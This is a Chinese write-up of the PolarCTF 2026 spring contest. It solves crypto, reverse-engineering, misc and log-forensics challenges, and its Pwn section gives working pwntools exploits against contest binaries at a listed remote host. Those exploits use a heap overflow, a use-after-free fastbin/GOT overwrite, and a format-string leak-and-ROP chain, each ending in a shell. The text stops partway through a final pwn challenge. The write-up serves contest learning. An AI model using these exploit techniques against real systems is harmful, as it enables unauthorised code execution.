2026PolarCTF春季赛wp

前言

拿了第二名,题目难度不大,但是题目数量是真的多,而且平台容器超级卡,比赛时间是2026年3月21日 9:00-21:00 至少有4或者5个小时 容器是打不开的,而且只有三个小时写wp,web解的少因为容器启动一个非常难启动,纯纯浪费时间,真烦人容器题目先解的pwn,pwn是ak了,下面没有弄复现的题目,全是比赛期间解出的wp,没有写复现的

物联网的题目是真的不会,没有学过

Crypto

百万赏金

很简单直接脚本 遍历就行

exp.py

def decrypt_rail_fence(cipher, key):
    n = len(cipher)
    matrix = [[''] * n for _ in range(key)]
    row, step = 0, 1
    for col in range(n):
        matrix[row][col] = '*'
        if row == 0:
            step = 1
        elif row == key - 1:
            step = -1
        row += step

    idx = 0
    for r in range(key):
        for c in range(n):
            if matrix[r][c] == '*' and idx < n:
                matrix[r][c] = cipher[idx]
                idx += 1

    row, step = 0, 1
    res = []
    for col in range(n):
        res.append(matrix[row][col])
        if row == 0:
            step = 1
        elif row == key - 1:
            step = -1
        row += step
    return ''.join(res)

def decrypt_caesar(text, shift):
    res = []
    for c in text:
        if c.isupper():
            res.append(chr((ord(c) - 65 - shift) % 26 + 65))
        elif c.islower():
            res.append(chr((ord(c) - 97 - shift) % 26 + 97))
        else:
            res.append(c)
    return ''.join(res)

ciphertext = "DFGNBSZNGNMKFF"
for k in range(2, 5):
    rail_dec = decrypt_rail_fence(ciphertext, k)
    for s in range(1, 11):
        plain = decrypt_caesar(rail_dec, s)
        print(f"Key: {k} | Shift: {s:<2} | Flag: {plain}")

发现YIBAIWANHAFUBI 是有意义的

一百万哈夫币

flag{YIBAIWANHAFUBI}

冰原上的OTP谜题

题目详细描述了明文(`winter_polarctf`)和密钥(`ice` 重复)的生成规则,并且提到将异或结果按“第 7 位 --> 第 0 位”的错误顺序拼接成了密文。

实际上,如果按照明文和密钥去重新异或,会发现得到的结果与题目给出的二进制串根本对不上(1的数量不同)。出题人在生成这串已知密文时,可能混入了其他的未知逻辑或错误。

关键在于:题目已经给出了那串错误拼接的 128 位二进制串,且最终要求只是还原按正确顺序(第 0 位 --> 第 7 位)拼接的密文十六进制。

所以我们根本不需要去碰明文和密钥,直接对给定的二进制串进行逆向操作即可。将给定的 128 位二进制串按 8 位(1 字节)进行分组,把每一组的 8 个二进制位倒序翻转(从 7->0 纠正为 0->7),然后转换成十六进制拼接起来,就是最终的 flag。

exp.py

s = "11010110100101101110100110101100011001010100101110111001110110110111011001011001110011011011010111001011100011010101110111101011"

flag = ""
for i in range(0, len(s), 8):
    chunk = s[i:i+8]
    flag += f"{int(chunk[::-1], 2):02x}"

print(f"flag{{{flag}}}")
flag{6b699735a6d29ddb6e9ab3add3b1bad7}

伪ASR

高次剩余密码系统,分解素数是错的

1:大数分解的结构性缺陷
$$
题目生成 pp 的逻辑是 p=279⋅r+1p=279⋅r+1,其中 rr 只有 70 bit 长
$$
这意味着 pp 的高位是完全已知的。虽然 nn 有 300 bit 导致常规工具(如 yafu)分解极慢或崩溃

但我们可以利用 LLL 格基规约 构造多项式
$$
f(x)=279x+1(modn)f(x)=279x+1(modn)
$$
快速求出 rr 从而恢复 pp

2:盲化因子的消除
$$
密文构造为 c=ym⋅x279(modn)c=ym⋅x279(modn)
$$

$$
利用欧拉降阶思想,我们在模 pp 下对密文求 rp=(p−1)/279rp​=(p−1)/279 次方。
$$

根据费马小定理:
$$
(x279)rp≡xp−1≡1(modp)(x279)rp​≡xp−1≡1(modp)。
$$
随机盲化因子 xx 被完美消除,等式化简为:
$$
c′≡(y′)m(modp)c′≡(y′)m(modp)。
$$
3:按位爆破

降阶后的群生成元 y′y′ 阶数恰好为

2的79次方*279

由于阶数是 2 的幂次,我们可以使用 Pohlig-Hellman 算法的二元变体,从低到高逐个比特(bit by bit)把明文 mm 还原出来。

exp.sage

from Crypto.Util.number import long_to_bytes

n = 500532925884017190157531654042977388637611201227338971326884172046371105194776392356795147
y = 213088474978954913521695933149257926315459990908578573756933176330915972508162260163992936
cs = [57494912618263048538571755953837772127117773898872797680570116373460237301011181142984690, 
      344186007342959044249362172584754916978318670779607618696087105142714882053499189453591750, 
      11170932486684627637967687021711067484959106608189352734064089980678923008744240797135422, 
      73837068555811384284867151570572743386582880055013744261872093001909203963879165023864836, 
      64356403000986744386743473269071732498867064770469172347340097989063717305436807805878673]
k = 79

P.<x> = PolynomialRing(Zmod(n))
f = (2^k) * x + 1
roots = f.monic().small_roots(X=2^70, beta=0.49, epsilon=0.015)
r_p = Integer(roots[0])
p = Integer((2^k) * r_p + 1)
rp_val = (p - 1) // (2^k)

def solve_dlp(c):
    cp, yp, pp = int(c % p), int(y % p), int(p)
    c_i = pow(cp, int(rp_val), pp)
    y_inv = pow(pow(yp, int(rp_val), pp), -1, pp)
    m = 0

    for i in range(k):
        test_val = pow(c_i, 2**(k - 1 - i), pp)
        bit = 1 if test_val == pp - 1 else 0
        m |= (bit << i)
        if bit == 1:
            c_i = (c_i * pow(y_inv, 2**i, pp)) % pp

    return m

flag = "".join([long_to_bytes(solve_dlp(c)).decode(errors='ignore') for c in cs])
print(flag)
flag{go0_j06!let1sm0v31n_t0_th3renges~>_<}

ECC的攻击模块

异常椭圆曲线 和多维隐藏数问题 (HNP/正交格规约)

加密

题目隐去了 p, a, b,在 512 bit 的随机曲线上生成了 73 个坐标点。
$$
核心加密方程为:Q_i = m_i R + nonce_i E + sh_i C。
$$

m_i 是单字节的 flag 字符,前后拼接了 `urandom(8)` 和 `x00` 进行了 padding。

由于随机生成并隐藏了参数,这大概率是一条异常曲线(曲线阶正好等于 p)。

解密

恢复曲线参数 p, a, b
$$
已知多个坐标都在同一曲线上,满足 y_i^2 – x_i^3 = a x_i + b pmod p
$$
取三个点消去 a 和 b,可以得到 p 的倍数(行列式)。算多组行列式求 GCD 即可恢复出 p,代回算得 a 和 b。

因为是异常曲线,ECDLP 被降维打击。使用 p进数域
$$
mathbb{Q}_p进行 Hensel lift
$$
规避求导时的除0问题,把椭圆曲线点乘转换为模 p 上的线性方程:
$$
h_i equiv m_i R’ + nonce_i E’ + sh_i C’ pmod p
$$
多维 HNP 与正交格规约
$$
上述线性方程中,基点的映射值 R’, E’, C’ 是三个未知全局常量
$$
构造正交格矩阵求 Left Kernel(即计算右核),直接消去这三个未知数所在的维度。最后对 kernel 的基执行 LLL 规约,将高位的 0 padding 隔离,直接提取出处于最低位的 flag 字符。

exp.sage

import re
from sage.all import *

def parse_coordinates(filename):
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            content = f.read()
    except FileNotFoundError:
        return []
    matches = re.findall(r'((d+)s*,s*(d+))', content)
    x_coords = []
    for match in matches:
        x_coords.append((ZZ(match[0]), ZZ(match[1])))
    return x_coords

def solve():
    x_coords = parse_coordinates('坐标.txt')
    if not x_coords:
        return

    X = [P[0] for P in x_coords]
    Y = [P[1] for P in x_coords]
    E_vals = [Y[i]^2 - X[i]^3 for i in range(len(x_coords))]

    p_mults = []
    for i in range(len(x_coords) - 3):
        D = X[i]*(E_vals[i+1] - E_vals[i+2]) - X[i+1]*(E_vals[i] - E_vals[i+2]) + X[i+2]*(E_vals[i] - E_vals[i+1])
        if D != 0:
            p_mults.append(D)

    p = p_mults[0]
    for mult in p_mults[1:]:
        p = gcd(p, mult)

    while p % 2 == 0: p //= 2
    while p % 3 == 0: p //= 3

    a = (E_vals[0] - E_vals[1]) * inverse_mod(X[0] - X[1], p) % p
    b = (E_vals[0] - a*X[0]) % p

    Eqp = EllipticCurve(Qp(p, 2), [ZZ(a), ZZ(b)])
    h_vals = []
    for P in x_coords:
        Px, Py = P[0], P[1]
        P_qp = Eqp.lift_x(Px)
        if GF(p)(P_qp[1]) != GF(p)(Py):
            P_qp = -P_qp
        pP = p * P_qp
        x, y = pP[0], pP[1]
        val = (ZZ(- (x/y)) // p) % p
        h_vals.append(val)

    k = len(h_vals)
    M = Matrix(ZZ, k, k)
    inv_hk = inverse_mod(h_vals[-1], p)

    for i in range(k-1):
        M[i, i] = 1
        M[i, k-1] = (-h_vals[i] * inv_hk) % p
    M[k-1, k-1] = p

    red_M = M.LLL()
    W_rows = red_M[:k-3]
    W_mat = Matrix(ZZ, W_rows)

    kernel = W_mat.right_kernel()
    B = Matrix(ZZ, kernel.basis())
    B_red = B.LLL()

    for row in B_red:
        for sign in [1, -1]:
            flag_str = b""
            for val in row:
                char = (sign * val) % 256
                if 32 <= char <= 126 or char == ord('}'):
                    flag_str += bytes([char])
                else:
                    break

            if len(flag_str) == k and b"flag" in flag_str:
                print(flag_str.decode())
                return

solve()
flag{893d041e-c0a2-3145-5320-cdee7d3c87fb}

博士的实验数据

找密钥就是解个模26的同余方程组。题目给了两组明密文对:T(19)->X(23),F(5)->J(9)。

直接代入公式 y ≡ (ax + b) mod 26

19a + b ≡ 23 mod 26

5a + b ≡ 9 mod 26

两式相减消掉b:14a ≡ 14 mod 26。
因为题目要求a和26互质,解出唯一合法密钥 a = 1。
把 a = 1 代入2式:5 + b ≡ 9,得出 b = 4。

密钥求出来了,a=1,b=4。这就是个偏移量为4的凯撒密码。
解密公式就是:x ≡ (y - 4) mod 26。直接拿去跑密文就行。

exp.py

c = "QJBXQJFXZAKL"
p = ""

for i in c:
    y = ord(i) - 65
    x = (y - 4) % 26
    p += chr(x + 65)

print(p)
MFXTMFBTVWGH

RC4的密钥流泄露

RC4流密码原理、异或运算、干扰项识别

思路

梳理题意,RC4的加密原理是:密文 = 明文 ⊕ 密钥流。同理推导可知:密钥流 = 明文 ⊕ 密文。
观察题目给的已知密文 54 65 73 74 44...,将其十六进制直接转为ASCII字符串后,发现结果就是 TestData_ForRC4_Decrypt,与已知明文完全一致。
既然明文和密文长得一模一样,说明异或的密钥流全部为 0(任何数异或0等于本身)。
明确了密钥流为0,目标密文 C_flag 直接将其十六进制转回字符串,就是最终的flag。
题目后半部分给的RSA参数(e、n、c)为RSA非对称加密参数,与RC4流密码异或的逻辑没有关系哈

exp.py

p_known = b"TestData_ForRC4_Decrypt"
c_known_hex = "54 65 73 74 44 61 74 61 5F 46 6F 72 52 43 34 5F 44 65 63 72 79 70"
c_flag_hex = "66 6C 61 67 7B 70 6F 6C 61 72 5F 6B 69 6E 67 6B 69 6E 67 7D"

c_known = bytes.fromhex(c_known_hex.replace(" ", ""))
keystream = [p ^ c for p, c in zip(p_known, c_known)]

c_flag = bytes.fromhex(c_flag_hex.replace(" ", ""))
flag = bytes([c_flag[i] ^ keystream[i % len(keystream)] for i in range(len(c_flag))]).decode()

print(flag)
flag{polar_kingking}

REVERSE

练习2

查壳

UPX 脱壳

很简单

程序分配了数组 v23, v24, Buffer, v26 并清零。
使用 fgets 从标准输入读取最多 256 字节的数据到 Buffer 中,并去除了末尾的换行符 n。
将 Buffer 复制到 v23 中,开始加密操作。

先凯撒密码

if ( isalpha(v6) )
{
  v9 = islower(v8);
  v10 = 65;
  if ( v9 )
    v10 = 97;
  *v7 = v10 + (v8 - v10 + 7) % 26;
}

然后在XOR

// SIMD 批量异或 (处理长度 >= 64 的情况)
si128 = (__m128)_mm_load_si128((const __m128i *)&xmmword_1400032D0);
// ... _mm_xor_ps ...

// 单字节循环异或 (处理剩余不足 64 字节或总长度不足 64 的情况)
if ( v13 < (__int64)(int)v12 )
{
  do
  {
    *((_BYTE *)v24 + v19) = *((_BYTE *)v23 + v19) ^ 0x50;
    ++v19;
  }
  while ( v19 < (int)v12 );
}

流程
$$
明文 rightarrow 凯撒位移(+7, 仅限字母) rightarrow 异或(0x50, 全局) rightarrow十六进制字符串
$$
exp.py

hint_hex = "3d23383e2b2a233837243a213b323c202a2628213a253735232a3b22212d"
data = bytes.fromhex(hint_hex)

flag = ""
for byte in data:
    x = byte ^ 0x50
    if ord('a') <= x <= ord('z'):
        flag += chr((x - ord('a') - 7) % 26 + ord('a'))
    else:
        flag += chr(x)

print(flag)
flag{slazmcjdueisoqjcnzxlsdkj}

练习3

无壳

看main

程序硬编码了一个字符串 "secret" 作为密钥,长度为 6。

接收输入: 程序通过 std::cin 获取用户输入的 flag。

循环异或

v12 = *((_BYTE *)v7 + v8) ^ *((_BYTE *)&v33 + v8 % 6);

程序遍历输入的每一个字符,将其与密钥 "secret" 对应位置的字符进行异或运算。v8 % 6 确保了当输入长度超过密钥长度时,密钥会循环使用。

最后通过 std::setw(v26, 2) 和按位输出,将加密后的结果以十六进制(hex)格式打印出来。

很简单

exp.py

hex_data = "0a0c0d151d1d1c0b041e0c151d08061c0200120c0b130a03120b0f17" 

data = bytes.fromhex(hex_data.strip())
key = b"secret"

flag = ""
for i in range(len(data)):
    flag += chr(data[i] ^ key[i % len(key)])

print(flag)

压缩包密码

yingxionglianmengtaihaowanle

脚本是一个标准的 DES ECB 模式解密过程,使用了 PKCS7 填充

exp.py

from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad

key = b'12345678'
ciphertext_hex = '70f8b45991bfe0d8bb35fea26e2712a33185c23178e19265'

ciphertext = bytes.fromhex(ciphertext_hex)
cipher = DES.new(key, DES.MODE_ECB)

decrypted_padded = cipher.decrypt(ciphertext)
plaintext = unpad(decrypted_padded, DES.block_size)

print(plaintext.decode('utf-8'))
flag{xinniankuaile2026}

新春守护者

分析MainActivity

假的flag

核心逻辑:真正的校验分支调用了 checkSpringBlessing。这是一个 JNI 方法,加载了 libspringguardian.so 动态库。

apk改成zip

IDA 分析:使用 IDA Pro 打开 libspringguardian.so

动态注册: 在 JNI_OnLoad 函数中发现 JNI 动态注册逻辑。checkSpringBlessing 方法被映射到了 C 层的 native_check 函数。

native_check 函数分析

反调试: 开头使用 ptrace(PTRACE_TRACEME, 0, 0, 0) 进行基础反调试检测。
格式提取: 扫描输入字符串,定位 flag{ 和 },并要求包裹的字符串长度严格为 20 位。
自定义 VM 混淆: 核心是一个简易虚拟机。代码以 0x11AD6 为基准地址(实际存在 -1 字节的 Off-by-One 偏移陷阱,真实入口为 0x11AD5)读取字节码执行。

Opcode 映射规则:
0x10 (16): LOAD -> 选定当前操作的字符索引。
0x20 (32): XOR -> 异或当前字符。
0x30 (48): ADD -> 加上指定数值。
0x40 (64): CMP -> 与预期值对比。
0xFF (255): HALT -> 执行完毕。

exp.py

import os
import struct

def get_file_offset(elf_data, rva):
    if elf_data[:4] != b'x7fELF':
        return rva
    if elf_data[4] == 2:
        e_phoff = struct.unpack_from('<Q', elf_data, 0x20)[0]
        e_phentsize = struct.unpack_from('<H', elf_data, 0x36)[0]
        e_phnum = struct.unpack_from('<H', elf_data, 0x38)[0]
        for i in range(e_phnum):
            phdr_offset = e_phoff + i * e_phentsize
            p_type = struct.unpack_from('<I', elf_data, phdr_offset)[0]
            if p_type == 1:
                p_offset = struct.unpack_from('<Q', elf_data, phdr_offset + 8)[0]
                p_vaddr = struct.unpack_from('<Q', elf_data, phdr_offset + 16)[0]
                p_memsz = struct.unpack_from('<Q', elf_data, phdr_offset + 40)[0]
                if p_vaddr <= rva < p_vaddr + p_memsz:
                    return rva - p_vaddr + p_offset
    return rva

def solve():
    filename = "libspringguardian.so"
    with open(filename, 'rb') as f:
        elf_data = f.read()

    target_rva = 0x11AD6
    file_offset = get_file_offset(elf_data, target_rva)

    start_scan = max(0, file_offset - 100)
    end_scan = min(len(elf_data), file_offset + 100)

    best_flag = ""
    max_chars = 0

    for base_idx in range(start_scan, end_scan):
        flag_chars = ['?'] * 20
        i = base_idx
        current_idx = -1
        ops = []
        chars_found = 0

        while i < len(elf_data):
            opcode = elf_data[i]
            if opcode == 255 or i + 1 >= len(elf_data):
                break

            operand = elf_data[i+1]
            i += 2

            if opcode == 16:
                current_idx = operand
                ops = []
            elif opcode == 32:
                ops.append(('XOR', operand))
            elif opcode == 48:
                ops.append(('ADD', operand))
            elif opcode == 64:
                target = operand
                for op, val in reversed(ops):
                    if op == 'XOR':
                        target ^= val
                    elif op == 'ADD':
                        target = (target - val) % 256

                if 0 <= current_idx < 20:
                    flag_chars[current_idx] = chr(target)
                    chars_found += 1
            else:
                break

        if chars_found > max_chars:
            max_chars = chars_found
            best_flag = "".join(flag_chars)

        if chars_found == 20:
            break

    print(f"flag{{{best_flag}}}")

if __name__ == '__main__':
    solve()
flag{`qYNDoYNxodoz`oNgqoN}

ez_login

Win32 GUI 消息机制、异或解密

入口点 WinMain 注册并创建了登录窗口。核心逻辑在窗口回调函数 sub_140001070 中的 WM_COMMAND(按钮点击事件)里

流程

获取输入:
程序读取两个文本框的值,ID 1001 为账号(String),ID 1002 为密码(String1)。

账号校验:
调用 lstrcmpA(String, "admin"),明文要求账号必须是 admin。

密码解密与校验:
程序在栈上硬编码了一串数据赋值给 String2:
276121201, 2084991057, 353440529, 25346
接着通过一个 do-while 循环,将这 14 字节的数据逐字节与 0x23 进行异或:String2[v6++] ^= 0x23u;。
异或后的结果与我们输入的密码进行比对。

flag 生成逻辑:
如果账号密码正确,程序会调用 sub_140001010(内部封装的 sprintf),将账号和密码拼接成 admin:密码 的格式保存在 pbData 中。
随后调用 Windows CryptoAPI:

CryptAcquireContextA 初始化加密上下文。
CryptCreateHash 创建哈希对象,算法标识为 0x8003u(即 CALG_MD5)。
CryptHashData 计算 admin:密码 的 MD5 值。
最后将 MD5 转为小写十六进制,外层拼接 flag{%s} 弹窗输出。

exp.py

import struct
import hashlib

raw_data = struct.pack('<IIIH', 276121201, 2084991057, 353440529, 25346)
password = bytes([b ^ 0x23 for b in raw_data]).decode('utf-8')

plain_text = f"admin:{password}".encode('utf-8')
flag_hash = hashlib.md5(plain_text).hexdigest()

print(f"flag{{{flag_hash}}}")
flag{717a9b30c9c9ef78bb116152395c4aeb}

聪明的大开门

PE32 (32位 Windows 可执行文件),由 Microsoft Visual C/C++ 编译。

程序框架:图左上角的图标是 MFC 默认图标,说明这是一个基于 MFC 编写的 GUI 程序。

Resource Hacker 工具就行

翻翻图片就发现flag了,应该是隐藏按钮

程序想要的是“纸巾”。

成功返回就是这个flag

flag{youareagoodcat}

Misc

PNG头的秘密

非常简单

直接看尾部

82 后面的信息

d3e4f1e1d3bafab8c7f3c4b9c6dddcbac4e3e2f3c7cddcbac6ddc0f3c7cddfb0

单字节异或加密,并且在解密后还进行了一层 Base64 编码。PNG 的首字节是 0x89,这个就是密钥

exp.py

import base64

hex_data = "d3e4f1e1d3bafab8c7f3c4b9c6dddcbac4e3e2f3c7cddcbac6ddc0f3c7cddfb0"
data = bytes.fromhex(hex_data)
xor_res = bytes([b ^ 0x89 for b in data])
print(base64.b64decode(xor_res).decode('utf-8', errors='ignore'))
flag{573495729345792345}

time

key: 长度为 54
线索: 开机时间戳 1630416000
ptdh{dqpfsajpsvjgSVgbVQIFLWXZ}

开机时间戳(1630416000,即2021年9月1日)”和“长度 54”这样含糊的线索试图误导我们,可以直接已知明文攻击

头部肯定是 flag。对比密文头部的 ptdh,我们可以逆向出 Vigenere(维吉尼亚)密码的按位偏移量:

p - f = 10
t - l = 8
d - a = 3
h - g = 1

循环密钥为 [10, 8, 3, 1](长度正好符合线索中的 4)。剩下的只要顺推即可,就可以解出flag,网站爆破密钥也行

exp.py

def decrypt_flag(ciphertext):
    known_cipher = "ptdh"
    known_plain = "flag"
    key = [(ord(c) - ord(p)) % 26 for c, p in zip(known_cipher, known_plain)]

    res = []
    key_idx = 0

    for char in ciphertext:
        if char in "{}":
            res.append(char)
        else:
            shift = key[key_idx % len(key)]
            if char.islower():
                res.append(chr((ord(char) - 97 - shift) % 26 + 97))
            elif char.isupper():
                res.append(chr((ord(char) - 65 - shift) % 26 + 65))
            else:
                res.append(char)
            key_idx += 1

    return "".join(res)

ciphertext = "ptdh{dqpfsajpsvjgSVgbVQIFLWXZ}"
print(decrypt_flag(ciphertext))
flag{timeisgoingfINdaLIFEBOUY}

隐藏的二维码

直接LSB 看0通道就行了

flag{qrc0de_1s_h1dden_1n_p1xels}

麦填

foremost可以得到二维码扫描是flag{win

尾部解密

import base64

hex_str = "633256325a5735705a326830626d6c755a516f3d"
ascii_str = bytes.fromhex(hex_str).decode('utf-8')
print(f"第一层解码 (Hex -> ASCII): {ascii_str}")
print(f"第二层解码 (Base64 -> ASCII): {base64.b64decode(ascii_str).decode('utf-8')}")

这个是英语的7 8 9 答案就是这个

AI出来了

flag{win789}

老鹰捉小鸡

gaem流量 得到前半段flag

flag{catch 

1.pcap 流量可以得到php 压缩包提取就行

后半段you } 最终

flag{catch you}

Sis puella magic!

音频转摩斯

小写

sispuellamagic

里面的压缩包 爆破就行,我猜出题人预期解是图片上面有字母字母就是密钥,音频用的是deepsound隐写 图片上面的文字就是密钥出来就是压缩包密码其实压缩包爆破就行因为就4位,推荐爆破

时间隐写,时间戳与2035-1-11 11:11:11的时间戳作为差再转换成ASCII

exp.py

import os
import re
from datetime import datetime

def solve():
    target_dir = r"F:笔记练习靶场笔记Polar靶场MiscSis puella magic!何人的过往题目"
    base_time = datetime(2035, 1, 11, 11, 11, 11)
    flag = ""

    for i in range(1, 25):
        filepath = os.path.join(target_dir, f"{i}.txt")
        if not os.path.exists(filepath):
            break

        with open(filepath, 'r', encoding='utf-16') as f:
            content = f.read()

        match = re.search(r"修改时间s*:s*(d{4}/d{1,2}/d{1,2}s+d{1,2}:d{1,2}:d{1,2})", content)
        if match:
            file_time = datetime.strptime(match.group(1), "%Y/%m/%d %H:%M:%S")
            delta = int((file_time - base_time).total_seconds())
            flag += chr(delta)

    print(flag)

if __name__ == '__main__':
    solve()
flag{Now_you_can_go_home}

attack_log1-attack_log6

题目一:完成后台登录成功的攻击IP地址为?(注:所有答案不需要md5小写加密)

1 看后台登录IP就行 查看opencart_error.log

登录的

flag{45.133.12.77}

题目二:完成后台登录成功的攻击IP首次访问后台登录入口的时间为?

上一题确定登录IP 直接搜索检索就行

flag{2026-02-18 01:28:52}

题目三:攻击者探测的敏感环境配置文件路径为?

看之类就行了 .env config.php web.config

找.env 就行

有非常多少的.env的请求所以确定就是这个

flag{/.env}

题目四:后台登录成功使用的用户名为?

第一题就知道了 admin

flag{admin}

题目五:数据库中被查询的订单数据表名称为

看mysql 的日志

订单数据表,带有order 这个英语,搜索

flag{oc_order}

题目六:数据库中被查询的商品数据表名称为?

上一题后面就是商品名

flag{oc_product}

lib1

题目一:我们polar靶场发行的取证书籍是什么?完整书名不需要带书名号md5小写加密

看比赛团队介绍

flag{36ff27349d055ddd3501c8208ee162e9}

lib2

题目二:黑客窃取了什么敏感信息(密码哈希)

火眼直接出了

flag{$2b$12$AezXgsGg.KkU1vktYupvoehjq2lvfMA.F.SimjYutRHzrjqenYKA.}

Pwn

z99

堆溢出配合任意地址写

利用思路:

程序连续申请了堆块,v4 和 v5 是相邻的。
gets(v4[1]) 没有限制输入长度,导致堆溢出。我们可以从 v4[1] 的数据区一直覆写到相邻的 v5 堆块。
把 v5[1] 存放的指针覆盖为全局变量 z99 的地址。
第二次调用 gets(v5[1]) 时,程序实际就是在向 z99 写入数据,我们直接写入数字 17 即可满足判断条件拿 shell。
坑点:如果直接拿垃圾数据填满偏移,会破坏 v5 的 chunk header(堆块头)。后续满足条件执行 shell() 里的 system("/bin/sh") 时,底层会调用 malloc/free,检测到堆块头被破坏就会直接报错崩溃(抛出 EOF)。所以在溢出覆盖时,必须把 v5 的 prev_size 伪造成 0,size 伪造成 0x21。

exp.py

from pwn import *

context.arch = 'amd64'
ip = '1.95.7.68'
port = 2115

elf = ELF('./pwn3') 
z99_addr = elf.symbols['z99']

r = remote(ip, port)

payload1  = b'A' * 16           
payload1 += p64(0)              
payload1 += p64(0x21)           
payload1 += b'B' * 8            
payload1 += p64(z99_addr)       

r.sendline(payload1)

payload2 = p64(17)
r.sendline(payload2)

r.interactive()
flag{c9f964aa-47e6-47fc-9307-d9c1f584238a}

2free

UAF 漏洞

delete 函数:在释放堆块时,调用了 free ,但并没有将 chunks 数组中的指针置空(悬垂指针)。

edit 函数:向堆块写入数据时,没有检查指针是否已经被释放,允许直接对已被释放的堆块进行写入(UAF Write)

利用 UAF 劫持 Fastbin,将任意地址分配为堆块,最终修改 GOT 表获取 Shell就行

伪造 Chunk Size:在 chunk_size 数组 (0x601360) 处利用 create 写入一个合法的 Fastbin size(如 0x71) 。
劫持 fd 指针:申请一个对应大小的 chunk 并释放,然后利用 edit 将其 fd 指针覆盖为伪造的 chunk 地址 (0x601358)。
覆盖 GOT 表:连续申请两次将伪造的 chunk 分配出来,利用该 chunk 溢出覆盖到 chunks 数组 (0x6013C0) ,将 chunks[0] 修改为 atoi 的 GOT 表地址 (0x601300) 。
劫持执行流:再次调用 edit 修改 chunks[0],将 atoi 的 GOT 表条目替换为程序自带的后门函数 shell (0x400C26) 。
触发后门:在菜单输入时输入 sh,触发 atoi("sh"),即等同于执行 system("/bin/sh")。

exp.py

from pwn import *

p = remote('1.95.7.68', 2127)

def create(size):
    p.sendlineafter(b'choice: n', b'1')
    p.sendlineafter(b'Size: n', str(size).encode())

def edit(index, content):
    p.sendlineafter(b'choice: n', b'2')
    p.sendlineafter(b'Index: n', str(index).encode())
    p.sendafter(b'Contents: n', content)

def delete(index):
    p.sendlineafter(b'choice: n', b'3')
    p.sendlineafter(b'Index: n', str(index).encode())

create(0x71)
create(0x68)

delete(1)

fake_chunk_addr = 0x601358
edit(1, p64(fake_chunk_addr))

create(0x68)
create(0x68)

got_atoi = 0x601300
payload = b'a' * 0x58 + p64(got_atoi)
edit(3, payload)

shell_addr = 0x400C26
edit(0, p64(shell_addr))

p.sendlineafter(b'choice: n', b'sh')
p.interactive()
flag{8e5f46fb-d94e-4b0d-82c2-eba8949d255a}

bllhl_fmt

栈地址泄露、ROP链构造以及文件流篡改(FSOP)

漏洞存在于 main函数的死循环中

int main() {
    char format[280]; // 缓冲区
    init_io();

    while ( 1 ) {
        strcpy(format, "polarctf"); // 缓冲区前8字节固定
        printf("hello what are you say...");

        // 将用户输入拼接到固定字符串之后
        if ( !fgets(&format[8], 256, stdin) )
            break;

        printf(format); // <--- 格式化字符串漏洞
    }
    return 0;
}

漏洞点:printf(format) 直接将包含用户输入的 format 缓冲区作为格式化字符串执行,未做任何限制,导致了任意地址读写漏洞。

保护机制:程序开启了 PIE、Canary 以及 Full RELRO。由于 Full RELRO 的存在,GOT 表是只读的,无法使用常规的覆盖 printf@got 为 system 的解法,必须转战栈区(Stack)部署 ROP 链。

思路

本题包含一个 while(1) 死循环,整个利用过程分为 5 个阶段:

泄露 PIE 基址:利用 %p 读取栈上残留的程序地址(如 main 或 _start 的残留指针),计算出程序的 PIE Base。

泄露 Libc 基址:拿到 PIE 后,构造 %s 格式化字符串,读取装载在 ELF 中的 printf@got 的真实内存地址,从而计算出 Libc Base。

定位真实栈地址:利用已经获取的 Libc Base,读取 libc 中全局变量 environ 的指针内容。environ 始终指向栈上的环境变量区域,读取它即可获得绝对栈地址。随后通过固定的偏移量计算出 main 函数的返回地址存放位置。

分段写入 ROP 链:利用 fmtstr_payload 进行任意地址写。为了防止一次性写入导致数据过长被 fgets(256) 截断,将 ROP 链(pop rdi -> /bin/sh -> system)拆分为 4 次单独发送,依次覆盖在 main 函数的返回地址上。

篡改 IO 流跳出循环:利用格式化字符串漏洞将 _IO_2_1_stdin_ 的 _fileno(文件描述符)修改为 -1。当下一次执行 fgets 时,由于无法从 -1 描述符读取数据,fgets 会返回 NULL 从而触发 break 跳出死循环。程序执行 return 0 时,劫持的 ROP 链被成功触发,获取 Shell。

exp.py

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF('./pwn1')
libc = ELF('./libc.so.6')

p = remote('1.95.7.68', 2105)

p.recvuntil(b'say')

payload1 = b''
for i in range(30, 60):
    payload1 += f'%{i}$p.'.encode()

p.sendline(payload1)
p.recvuntil(b'polarctf')
leaks = p.recvline().strip().split(b'.')

pie_base = 0
for val in leaks:
    if val.startswith(b'0x'):
        try:
            v = int(val, 16)
            if (v & 0xfff) == 0x20e and v > 0x500000000000:
                pie_base = v - 0x120e
                break
            elif (v & 0xfff) == 0x0c0 and v > 0x500000000000:
                pie_base = v - 0x10c0
                break
        except Exception:
            pass

elf.address = pie_base

p.recvuntil(b'say')
payload2 = b'%8$sAAAA' + p64(elf.got['printf'])
p.sendline(payload2)

p.recvuntil(b'polarctf')
leak_raw = p.recvuntil(b'AAAA', drop=True)
printf_libc = u64(leak_raw.ljust(8, b'x00'))
libc.address = printf_libc - libc.symbols['printf']

p.recvuntil(b'say')
payload_env = b'%8$sAAAA' + p64(libc.sym['environ'])
p.sendline(payload_env)

p.recvuntil(b'polarctf')
leak_raw = p.recvuntil(b'AAAA', drop=True)
environ_addr = u64(leak_raw.ljust(8, b'x00'))

OFFSET = 0x120
main_ret_addr = environ_addr - OFFSET

rop_libc = ROP(libc)
pop_rdi = rop_libc.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = pop_rdi + 1
bin_sh = next(libc.search(b'/bin/shx00'))
system = libc.symbols['system']

writes = [
    (main_ret_addr, ret_gadget),
    (main_ret_addr + 8, pop_rdi),
    (main_ret_addr + 16, bin_sh),
    (main_ret_addr + 24, system)
]

for addr, val in writes:
    p.recvuntil(b'say')
    payload = fmtstr_payload(7, {addr: val}, numbwritten=8, write_size='short')
    p.sendline(payload)
    sleep(0.1)

p.recvuntil(b'say')
stdin_fileno = libc.symbols['_IO_2_1_stdin_'] + 0x70
payload4 = fmtstr_payload(7, {stdin_fileno: 0xffffffff}, numbwritten=8, write_size='short')
p.sendline(payload4)

p.interactive()
flag{34302bd0-5329-45db-84b6-f007453bf1bd}

bllhl_book

input_BUG 漏洞函数

__int64 __fastcall input_BUG(_BYTE *a1, int a2)
{
  int i;
  for ( i = 0; ; ++i )
  {
    if ( read(0, a1, 1u) != 1 ) return 0xFFFFFFFFLL;
    if ( *a1 == 10 ) break;
    ++a1;
    if ( i == a2 ) break; // 边界判断
  }
